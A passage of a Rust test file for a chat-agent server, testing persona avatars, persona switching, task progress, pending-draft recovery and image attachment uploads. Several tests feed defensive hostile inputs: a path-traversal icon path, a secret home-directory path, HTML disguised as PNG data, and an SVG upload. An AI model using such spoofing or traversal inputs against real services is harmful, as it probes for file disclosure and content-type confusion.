14036 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
14037 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
14038 uri(&good),
14039 uri(&spoof),
14040 uri(&big),
14041 uri(&missing),
14042 );
14043 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14044
14045 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
14046 assert_eq!(
14047 (status, ct.as_str(), nosniff),
14048 (StatusCode::OK, "image/png", true)
14049 );
14050 assert_eq!(body, tiny_png());
14051 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
14052 assert_eq!(ct, "image/png", "data URI");
14053
14054 for p in ["misato", "asuka", "shinji", "magi"] {
14055 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
14056 assert_eq!(
14057 (status, ct.as_str(), csp),
14058 (StatusCode::OK, "image/svg+xml", true),
14059 "{p}"
14060 );
14061 assert!(body.starts_with(b"<svg"), "{p}");
14062 }
14063 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
14065 assert_eq!(ct, "image/svg+xml");
14066 }
14067
14068 #[tokio::test]
14069 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
14070 let oversized = format!(
14071 "data:image/png;base64,{}",
14072 "A".repeat(persona_icon::ICON_MAX_BYTES)
14073 );
14074 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
14075 let extra = format!(
14076 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
14077 );
14078 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14079 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14080 .await
14081 .expect("detail with invalid icon");
14082 assert!(detail.personas.iter().any(|p| p.id == "custom"));
14083 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
14084 assert_eq!(status, StatusCode::OK);
14085 assert_eq!(ct, "image/svg+xml");
14086 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
14087 let Json(view) = talk_persona(
14088 State(Arc::clone(&ui)),
14089 Path(id.clone()),
14090 Json(TalkPersona {
14091 persona: "custom".into(),
14092 }),
14093 )
14094 .await
14095 .expect("persona switch with invalid icon");
14096 assert_eq!(view.talk.persona, "custom");
14097 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
14098 }
14099 }
14100
14101 #[tokio::test]
14102 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
14103 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14104 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
14105 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
14106 assert_eq!(
14107 (status, ct.as_str(), nosniff, csp),
14108 (StatusCode::OK, "image/svg+xml", true, true)
14109 );
14110 }
14111
14112 #[tokio::test]
14113 async fn the_talk_view_carries_server_built_avatar_urls_only() {
14114 let (_t, _h, ui, id, _repo) =
14115 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
14116 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14117 .await
14118 .expect("detail");
14119 let json = serde_json::to_string(&detail).unwrap();
14120 assert!(
14121 !json.contains("secret"),
14122 "the icon setting must not leak: {json}"
14123 );
14124 assert!(
14125 detail
14126 .view
14127 .persona_avatar
14128 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
14129 );
14130 assert_eq!(
14131 detail.view.operator_avatar,
14132 format!(
14133 "/avatars/operator.svg?v={}",
14134 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
14135 )
14136 );
14137 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
14138 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
14139 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
14140 assert!(rei.avatar.contains("persona=rei&v="));
14141 assert_ne!(
14142 rei.avatar.split("&v=").nth(1),
14143 plain.avatar.split("&v=").nth(1)
14144 );
14145 }
14146
14147 #[tokio::test]
14148 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
14149 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14150 let cfg = config_for(&repo).await.unwrap();
14151 for arrived in [false, true] {
14152 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
14153 let observed = ui.queued_generation(&id);
14154 let talk = ui.talks.get(&id).unwrap();
14155 if arrived {
14156 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
14157 }
14158 let mut settling = std::pin::pin!(settle_settings_turn(
14159 talk,
14160 ui.talks.clone(),
14161 cfg.clone(),
14162 id.clone(),
14163 turn,
14164 observed
14165 ));
14166 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
14167 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
14168 assert_eq!(first.is_pending(), arrived);
14169 if arrived {
14170 assert!(!settling.await);
14171 }
14172 assert!(!ui.is_thinking(&id));
14173 }
14174 }
14175
14176 #[tokio::test]
14177 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
14178 let tmp = TempDir::new().expect("tempdir");
14179 let repo = tmp.path().join("repo");
14180 std::fs::create_dir_all(&repo).expect("repo dir");
14181 std::fs::write(
14182 repo.join("magi.toml"),
14183 format!(
14184 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
14185 ),
14186 )
14187 .expect("write magi.toml");
14188 let home = TempDir::new().expect("temp home");
14189 let talks = Talks::at(home.path().join("talks"));
14190 let ui = Arc::new(
14191 Ui::new(
14192 Queue::at(home.path().join("queue")),
14193 Questions::at(home.path().join("questions")),
14194 talks.clone(),
14195 home.path().join("runs"),
14196 home.path().to_path_buf(),
14197 repo.clone(),
14198 )
14199 .with_worktrees_root(home.path().join("wt")),
14200 );
14201 let cfg = config_for(&repo).await.expect("discover config");
14202 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14203 let id = talk.id.clone();
14204 let call = |persona: &str| {
14205 talk_persona(
14206 State(Arc::clone(&ui)),
14207 Path(id.clone()),
14208 Json(TalkPersona {
14209 persona: persona.to_owned(),
14210 }),
14211 )
14212 };
14213
14214 let unknown = call("nobody").await.expect_err("unknown persona");
14215 assert_eq!(
14216 unknown.status,
14217 StatusCode::BAD_REQUEST,
14218 "{}",
14219 unknown.message
14220 );
14221
14222 {
14223 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14226 let busy = call("rei").await.expect_err("busy talk");
14227 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14228 assert!(
14229 busy.message.contains("a talk turn is running"),
14230 "{}",
14231 busy.message
14232 );
14233 drop(guard);
14234 }
14235 assert_eq!(talks.get(&id).expect("reload").persona, "");
14236
14237 let Json(view) = call("gendo").await.expect("switch to a configured persona");
14238 assert_eq!(view.talk.persona, "gendo");
14239 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
14240 assert!(!ui.is_thinking(&id), "idle response must release the claim");
14241 for chosen in ["default", "gendo", "rei", "gendo"] {
14243 let Json(view) = call(chosen).await.expect("immediate consecutive change");
14244 assert!(!view.thinking);
14245 assert!(!ui.is_thinking(&id));
14246 }
14247
14248 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14249 .await
14250 .expect("detail");
14251 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
14252 assert_eq!(ids.first(), Some(&"default"));
14253 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
14254
14255 let Json(view) = call("default").await.expect("back to default");
14256 assert_eq!(view.talk.persona, "");
14257
14258 let mut closed = talks.get(&id).expect("reload");
14259 talk::close(&mut closed, &talks).expect("close");
14260 let refused = call("rei").await.expect_err("closed talk");
14261 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14262 assert!(
14263 refused.message.contains("takes no more turns"),
14264 "{}",
14265 refused.message
14266 );
14267 }
14268
14269 #[tokio::test]
14270 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
14271 let f = Fixture::start().await;
14272 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
14273 let queue = f.queue();
14274 let mut mine = Task::new(
14275 "rename the loader".to_owned(),
14276 "rename the loader".to_owned(),
14277 PathBuf::from("/repo/magi"),
14278 Source::Agent {
14279 run: talk_id.clone(),
14280 node: "chat".to_owned(),
14281 },
14282 );
14283 let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
14284 assert_eq!(empty["task_progress"]["state"], "none");
14285 assert_eq!(empty["task_progress"]["total"], 0);
14286 queue.put(&mut mine).expect("file the task");
14287 let mut theirs = Task::new(
14288 "unrelated".to_owned(),
14289 "unrelated".to_owned(),
14290 PathBuf::from("/repo/magi"),
14291 Source::Human,
14292 );
14293 theirs.origin_chat = Some(talk_id.clone());
14295 queue.put(&mut theirs).expect("file the task");
14296
14297 let res = f.get(&format!("/api/talks/{talk_id}")).await;
14298 assert_eq!(res.status, 200, "{}", res.body);
14299 let body = res.json();
14300 assert_eq!(
14301 body["status"], "open",
14302 "filing a task does not close a talk"
14303 );
14304 let tasks = body["tasks"].as_array().expect("tasks array");
14305 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
14306 assert_eq!(tasks[0]["id"], mine.id);
14307 for status in [
14308 TaskStatus::Queued,
14309 TaskStatus::Running,
14310 TaskStatus::Held,
14311 TaskStatus::Failed,
14312 TaskStatus::Blocked,
14313 TaskStatus::Parked,
14314 TaskStatus::Done,
14315 TaskStatus::Queued,
14316 ] {
14317 mine.status = status;
14318 queue.put(&mut mine).expect("update status");
14319 let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
14320 let progress = &detail["task_progress"];
14321 assert_eq!(progress["total"], 1);
14322 assert_eq!(progress["counts"][status.as_str()], 1);
14323 assert_eq!(detail["tasks"][0]["status"], status.as_str());
14324 assert_eq!(detail["status"], "open", "completion never closes the chat");
14325 if status == TaskStatus::Done {
14326 assert_eq!(progress["state"], "complete");
14327 assert_eq!(progress["done"], 1);
14328 assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
14329 } else {
14330 assert_eq!(progress["state"], "incomplete");
14331 assert_eq!(progress["done"], 0);
14332 assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
14333 }
14334 }
14335 }
14336
14337 #[test]
14338 fn talk_task_progress_counts_mixed_statuses() {
14339 let mut tasks: Vec<_> = [
14340 TaskStatus::Queued,
14341 TaskStatus::Running,
14342 TaskStatus::Held,
14343 TaskStatus::Failed,
14344 TaskStatus::Blocked,
14345 TaskStatus::Parked,
14346 TaskStatus::Done,
14347 ]
14348 .into_iter()
14349 .map(|status| {
14350 let mut task = Task::new(
14351 "task".into(),
14352 "task".into(),
14353 PathBuf::from("/repo"),
14354 Source::Human,
14355 );
14356 task.status = status;
14357 task
14358 })
14359 .collect();
14360 let progress = talk_task_progress(&tasks);
14361 assert_eq!(progress.state, "incomplete");
14362 assert_eq!(progress.total, 7);
14363 assert_eq!(progress.done, 1);
14364 assert_eq!(progress.unfinished_ids.len(), 6);
14365 assert!(progress.counts.values().all(|count| *count == 1));
14366 assert_eq!(
14367 progress.unfinished_ids,
14368 tasks[..6]
14369 .iter()
14370 .map(|task| task.id.clone())
14371 .collect::<Vec<_>>()
14372 );
14373
14374 for task in &mut tasks {
14375 task.status = TaskStatus::Done;
14376 }
14377 let complete = talk_task_progress(&tasks);
14378 assert_eq!(complete.state, "complete");
14379 assert_eq!(complete.done, 7);
14380 assert!(complete.unfinished_ids.is_empty());
14381 tasks[0].status = TaskStatus::Queued;
14382 let requeued = talk_task_progress(&tasks);
14383 assert_eq!(requeued.state, "incomplete");
14384 assert_eq!(requeued.done, 6);
14385 assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
14386
14387 let empty = talk_task_progress(&[]);
14388 assert_eq!(empty.state, "none");
14389 assert_eq!(empty.total, 0);
14390 assert_eq!(empty.done, 0);
14391 assert!(empty.unfinished_ids.is_empty());
14392 assert!(empty.counts.values().all(|count| *count == 0));
14393 }
14394
14395 #[tokio::test]
14396 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
14397 let (_tmp, _repo, f) = talk_fixture().await;
14398 let id = f.post("/api/talks", None).await.json()["id"]
14399 .as_str()
14400 .expect("id")
14401 .to_owned();
14402
14403 let res = f
14404 .post(
14405 &format!("/api/talks/{id}/say"),
14406 Some(r#"{"text":"what does the queue module do?"}"#),
14407 )
14408 .await;
14409 assert_eq!(res.status, 202, "{}", res.body);
14410 let queued = res.json();
14411 let turns = queued["turns"].as_array().expect("turns array");
14412 assert_eq!(
14413 turns.len(),
14414 1,
14415 "the answer reflects only what is on disk the instant it is sent, \
14416 before the agent's turn - which can run for the whole of \
14417 `[graph] timeout_talk` - has a chance to land: {queued}"
14418 );
14419 assert_eq!(turns[0]["who"], "operator");
14420 assert_eq!(turns[0]["body"], "what does the queue module do?");
14421 assert_eq!(
14422 queued["thinking"], true,
14423 "the accepted response exposes the background turn claim: {queued}"
14424 );
14425
14426 let mut turns_after = 1;
14427 for _ in 0..SETTLE_STEPS {
14428 let detail = f.get(&format!("/api/talks/{id}")).await.json();
14429 turns_after = detail["turns"].as_array().expect("turns array").len();
14430 if turns_after == 2 {
14431 break;
14432 }
14433 tokio::time::sleep(Duration::from_millis(10)).await;
14434 }
14435 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
14436 }
14437
14438 #[tokio::test]
14465 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
14466 let tmp = TempDir::new().expect("tempdir");
14467 let repo = tmp.path().join("repo");
14468 std::fs::create_dir_all(&repo).expect("repo dir");
14469 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14470 let home = TempDir::new().expect("temp home");
14471 let talks = Talks::at(home.path().join("talks"));
14472 let ui = Arc::new(
14473 Ui::new(
14474 Queue::at(home.path().join("queue")),
14475 Questions::at(home.path().join("questions")),
14476 talks.clone(),
14477 home.path().join("runs"),
14478 home.path().to_path_buf(),
14479 repo.clone(),
14480 )
14481 .with_worktrees_root(home.path().join("wt")),
14482 );
14483 let cfg = config_for(&repo).await.expect("discover config");
14484
14485 for delay in 0..40u32 {
14486 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
14487 let id = talk.id.clone();
14488
14489 let handler = tokio::spawn(talk_say(
14490 State(Arc::clone(&ui)),
14491 Path(id.clone()),
14492 Ok(Json(NewTalkTurn {
14493 reply_to: None,
14494 text: "what does the queue module do?".to_owned(),
14495 attachments: Vec::new(),
14496 })),
14497 ));
14498 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
14499 handler.abort();
14500 let _ = handler.await;
14503
14504 let mut turns = 0;
14505 for _ in 0..SETTLE_STEPS {
14506 if let Ok(fresh) = talks.get(&id) {
14507 turns = fresh.turns.len();
14508 if turns != 1 {
14509 break;
14510 }
14511 }
14512 tokio::time::sleep(Duration::from_millis(10)).await;
14513 }
14514 assert_ne!(
14515 turns, 1,
14516 "delay {delay}: talk {id} recorded the operator's turn but \
14517 the agent never answered - the reply task was never \
14518 started after the handler future was dropped"
14519 );
14520 }
14521 }
14522
14523 #[tokio::test]
14568 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
14569 let tmp = TempDir::new().expect("tempdir");
14570 let repo = tmp.path().join("repo");
14571 std::fs::create_dir_all(&repo).expect("repo dir");
14572 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14573 let home = TempDir::new().expect("temp home");
14574 let talks = Talks::at(home.path().join("talks"));
14575 let ui = Arc::new(
14576 Ui::new(
14577 Queue::at(home.path().join("queue")),
14578 Questions::at(home.path().join("questions")),
14579 talks.clone(),
14580 home.path().join("runs"),
14581 home.path().to_path_buf(),
14582 repo.clone(),
14583 )
14584 .with_worktrees_root(home.path().join("wt")),
14585 );
14586 let cfg = config_for(&repo).await.expect("discover config");
14587
14588 for attempt in 0..3u32 {
14589 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
14590 let id = talk.id.clone();
14591 let turn_guard = ui
14594 .begin_talk_turn(&id)
14595 .expect("claim the turn")
14596 .expect("a fresh talk owes nobody a turn");
14597
14598 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
14599 let (release_tx, release_rx) = std::sync::mpsc::channel();
14600 ui.set_busy_queue_gate(BusyQueueGate {
14601 reached: reached_tx,
14602 release: release_rx,
14603 });
14604
14605 let handler = tokio::spawn(talk_say(
14606 State(Arc::clone(&ui)),
14607 Path(id.clone()),
14608 Ok(Json(NewTalkTurn {
14609 reply_to: None,
14610 text: "what does the queue module do?".to_owned(),
14611 attachments: Vec::new(),
14612 })),
14613 ));
14614
14615 tokio::time::timeout(Duration::from_secs(5), reached_rx)
14620 .await
14621 .unwrap_or_else(|_| {
14622 panic!(
14623 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
14624 )
14625 })
14626 .expect("the busy branch dropped the gate without using it");
14627
14628 let running = talks.get(&id).expect("reload talk");
14635 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
14636
14637 handler.abort();
14641 let _ = handler.await;
14642
14643 let _ = release_tx.send(());
14649
14650 let mut fresh = talks.get(&id).expect("reload talk");
14653 for _ in 0..SETTLE_STEPS {
14654 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
14655 break;
14656 }
14657 tokio::time::sleep(Duration::from_millis(10)).await;
14658 fresh = talks.get(&id).expect("reload talk");
14659 }
14660 assert!(
14661 fresh.pending.is_empty() && fresh.turns.len() == 2,
14662 "attempt {attempt}: talk {id} left the operator's text queued \
14663 with no drainer - the reclaimed turn was dropped along with \
14664 the handler future (pending {:?}, {} turns)",
14665 fresh.pending,
14666 fresh.turns.len()
14667 );
14668 }
14669 }
14670
14671 #[tokio::test]
14672 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
14673 let (_tmp, _repo, f) = talk_fixture().await;
14674 let id = f.post("/api/talks", None).await.json()["id"]
14675 .as_str()
14676 .expect("id")
14677 .to_owned();
14678 let store = f.talks();
14679 let mut recovered = store.get(&id).expect("opened talk");
14680 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
14681 .expect("persist pending draft without a live turn");
14682
14683 let edited = f
14684 .post(
14685 &format!("/api/talks/{id}/pending/edit"),
14686 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
14687 )
14688 .await;
14689 assert_eq!(edited.status, 200, "{}", edited.body);
14690 assert!(edited.json()["thinking"].as_bool().unwrap());
14691
14692 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
14693 for _ in 0..SETTLE_STEPS {
14694 if detail["turns"].as_array().expect("turns").len() == 2 {
14695 break;
14696 }
14697 tokio::time::sleep(Duration::from_millis(10)).await;
14698 detail = f.get(&format!("/api/talks/{id}")).await.json();
14699 }
14700 let turns = detail["turns"].as_array().expect("turns");
14701 assert_eq!(
14702 turns.len(),
14703 2,
14704 "the recovered draft must run once: {detail}"
14705 );
14706 assert_eq!(turns[0]["body"], "corrected");
14707 assert_eq!(detail["pending"], "");
14708 }
14709
14710 #[tokio::test]
14711 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
14712 let tmp = TempDir::new().expect("tempdir");
14713 let repo = tmp.path().join("repo");
14714 std::fs::create_dir_all(&repo).expect("repo dir");
14715 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
14716 let f = Fixture::with_repo(repo).await;
14717 let id = f.post("/api/talks", None).await.json()["id"]
14718 .as_str()
14719 .expect("id")
14720 .to_owned();
14721 let store = f.talks();
14722 let mut recovered = store.get(&id).expect("opened talk");
14723 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
14724 .expect("persist pending draft without a live turn");
14725
14726 let refused = f
14727 .post(
14728 &format!("/api/talks/{id}/say"),
14729 Some(r#"{"text":"new message"}"#),
14730 )
14731 .await;
14732 assert_eq!(refused.status, 409, "{}", refused.body);
14733 assert!(refused.body.contains("resume"), "{}", refused.body);
14734 let saved = store.get(&id).expect("draft remains after refusal");
14735 assert!(saved.turns.is_empty());
14736 assert_eq!(saved.pending, "saved before restart");
14737
14738 let say_path = format!("/api/talks/{id}/say");
14739 let (first, second) = tokio::join!(
14740 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
14741 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
14742 );
14743 assert_eq!(first.status, 409, "{}", first.body);
14744 assert_eq!(second.status, 409, "{}", second.body);
14745 let saved = store
14746 .get(&id)
14747 .expect("draft remains after concurrent refusals");
14748 assert!(saved.turns.is_empty());
14749 assert_eq!(saved.pending, "saved before restart");
14750
14751 let resumed = f
14752 .post(&format!("/api/talks/{id}/pending/resume"), None)
14753 .await;
14754 assert_eq!(resumed.status, 202, "{}", resumed.body);
14755 let duplicate = f
14756 .post(&format!("/api/talks/{id}/pending/resume"), None)
14757 .await;
14758 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
14759
14760 for _ in 0..SETTLE_STEPS {
14761 if store.get(&id).expect("talk").turns.len() == 2 {
14762 break;
14763 }
14764 tokio::time::sleep(Duration::from_millis(10)).await;
14765 }
14766 let finished = store.get(&id).expect("finished talk");
14767 assert_eq!(finished.turns.len(), 2, "{finished:?}");
14768 assert_eq!(finished.turns[0].body, "saved before restart");
14769 assert!(finished.pending.is_empty());
14770 }
14771
14772 #[tokio::test]
14773 async fn an_image_only_recovered_draft_resumes_without_text() {
14774 let (_tmp, _repo, f) = talk_fixture().await;
14775 let id = f.post("/api/talks", None).await.json()["id"]
14776 .as_str()
14777 .expect("id")
14778 .to_owned();
14779 let uploaded = f
14780 .post_bytes(
14781 &format!("/api/talks/{id}/attachments"),
14782 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
14783 PNG_BYTES,
14784 )
14785 .await;
14786 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
14787 let attachment = f
14788 .talks()
14789 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
14790 .expect("attachment metadata")
14791 .expect("stored attachment");
14792 let store = f.talks();
14793 let mut recovered = store.get(&id).expect("opened talk");
14794 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
14795
14796 let resumed = f
14797 .post(&format!("/api/talks/{id}/pending/resume"), None)
14798 .await;
14799 assert_eq!(resumed.status, 202, "{}", resumed.body);
14800 for _ in 0..SETTLE_STEPS {
14801 if store.get(&id).expect("talk").turns.len() == 2 {
14802 break;
14803 }
14804 tokio::time::sleep(Duration::from_millis(10)).await;
14805 }
14806 let finished = store.get(&id).expect("finished talk");
14807 assert_eq!(finished.turns.len(), 2, "{finished:?}");
14808 assert!(finished.turns[0].body.is_empty());
14809 assert_eq!(finished.turns[0].attachments.len(), 1);
14810 assert!(finished.pending_attachments.is_empty());
14811 }
14812
14813 #[tokio::test]
14814 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
14815 let (_tmp, _repo, f) = talk_fixture().await;
14816 let id = f.post("/api/talks", None).await.json()["id"]
14817 .as_str()
14818 .expect("id")
14819 .to_owned();
14820 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
14821 assert_eq!(closed.status, 200, "{}", closed.body);
14822 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
14823 .expect("serialize closed talk");
14824 for (path, body) in [
14825 (format!("/api/talks/{id}/pending/resume"), None),
14826 (
14827 format!("/api/talks/{id}/pending/clear"),
14828 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
14829 ),
14830 (
14831 format!("/api/talks/{id}/pending/edit"),
14832 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
14833 ),
14834 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
14835 ] {
14836 let response = f.post(&path, body).await;
14837 assert_eq!(response.status, 409, "{}", response.body);
14838 }
14839 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
14840 .expect("serialize closed talk");
14841 assert_eq!(
14842 after_clear, before_clear,
14843 "clear must not rewrite a closed talk"
14844 );
14845 }
14846
14847 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
14850
14851 #[tokio::test]
14852 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
14853 let tmp = TempDir::new().expect("tempdir");
14854 let repo = tmp.path().join("repo");
14855 std::fs::create_dir_all(&repo).expect("repo dir");
14856 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
14857 let f = Fixture::with_repo(repo).await;
14858 let id_a = f.post("/api/talks", None).await.json()["id"]
14859 .as_str()
14860 .unwrap()
14861 .to_owned();
14862 let id_b = f.post("/api/talks", None).await.json()["id"]
14863 .as_str()
14864 .unwrap()
14865 .to_owned();
14866
14867 let a = f
14868 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
14869 .await;
14870 assert_eq!(a.status, 202, "{}", a.body);
14871 assert_eq!(a.json()["thinking"], true);
14872 let b = f
14873 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
14874 .await;
14875 assert_eq!(b.status, 202, "{}", b.body);
14876 assert_eq!(b.json()["thinking"], true);
14877
14878 let listed = f.get("/api/talks").await.json();
14879 for id in [&id_a, &id_b] {
14880 let view = listed
14881 .as_array()
14882 .unwrap()
14883 .iter()
14884 .find(|talk| talk["id"] == *id)
14885 .unwrap();
14886 assert_eq!(view["thinking"], true, "{listed}");
14887 }
14888 let repeated = f
14889 .post(
14890 &format!("/api/talks/{id_a}/say"),
14891 Some(r#"{"text":"again"}"#),
14892 )
14893 .await;
14894 assert_eq!(repeated.status, 202, "{}", repeated.body);
14895 assert_eq!(repeated.json()["pending"], "again");
14896 }
14897
14898 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
14901
14902 #[tokio::test]
14903 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
14904 let f = Fixture::start().await;
14905 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
14906
14907 let res = f
14908 .post_bytes(
14909 &format!("/api/talks/{id}/attachments"),
14910 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
14911 PNG_BYTES,
14912 )
14913 .await;
14914 assert_eq!(res.status, 201, "{}", res.body);
14915 let body = res.json();
14916 assert_eq!(body["name"], "shot.png");
14917 assert_eq!(body["mime"], "image/png");
14918 assert_eq!(body["bytes"], PNG_BYTES.len());
14919 let att_id = body["id"].as_str().expect("id").to_owned();
14920 assert_eq!(
14921 att_id.len(),
14922 32,
14923 "the id must never be a client-suppliable path: {att_id}"
14924 );
14925
14926 let got = f
14927 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
14928 .await;
14929 assert_eq!(got.status, 200, "{}", got.body);
14930 assert_eq!(got.header("content-type"), Some("image/png"));
14931 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
14932 assert_eq!(got.bytes, PNG_BYTES);
14933 }
14934
14935 #[tokio::test]
14936 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
14937 let f = Fixture::start().await;
14938 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
14939
14940 let svg = f
14943 .post_bytes(
14944 &format!("/api/talks/{id}/attachments"),
14945 &[("Content-Type", "image/svg+xml")],
14946 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
14947 )
14948 .await;
14949 assert!(
14950 (400..500).contains(&svg.status),
14951 "svg must be refused: {} {}",
14952 svg.status,
14953 svg.body
14954 );
14955 assert!(svg.body.contains("SVG"), "{}", svg.body);
14956
14957 let text = f
14958 .post_bytes(
14959 &format!("/api/talks/{id}/attachments"),
14960 &[("Content-Type", "text/plain")],
14961 b"just some text",
14962 )
14963 .await;
14964 assert!(
14965 (400..500).contains(&text.status),
14966 "an unlisted type must be refused: {} {}",
14967 text.status,
14968 text.body
14969 );
14970
14971 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
14974 let big = f
14975 .post_bytes(
14976 &format!("/api/talks/{id}/attachments"),
14977 &[("Content-Type", "image/png")],
14978 &oversized,
14979 )
14980 .await;
14981 assert_eq!(
14982 big.status,
14983 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
14984 "{}",
14985 big.body
14986 );
14987 }
14988
14989 #[tokio::test]
14990 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
14991 let f = Fixture::start().await;
14992 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
14993
14994 let res = f
14997 .post_bytes(
14998 &format!("/api/talks/{id}/attachments"),
14999 &[("Content-Type", "image/png")],
15000 b"<html>not a picture</html>",
15001 )
15002 .await;
15003 assert!((400..500).contains(&res.status), "{}", res.body);
15004 }
15005
15006 #[tokio::test]
15007 async fn an_unknown_attachment_id_is_a_404() {
15008 let f = Fixture::start().await;
15009 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
15010
15011 let res = f
15012 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
15013 .await;
15014 assert_eq!(res.status, 404, "{}", res.body);
15015 }
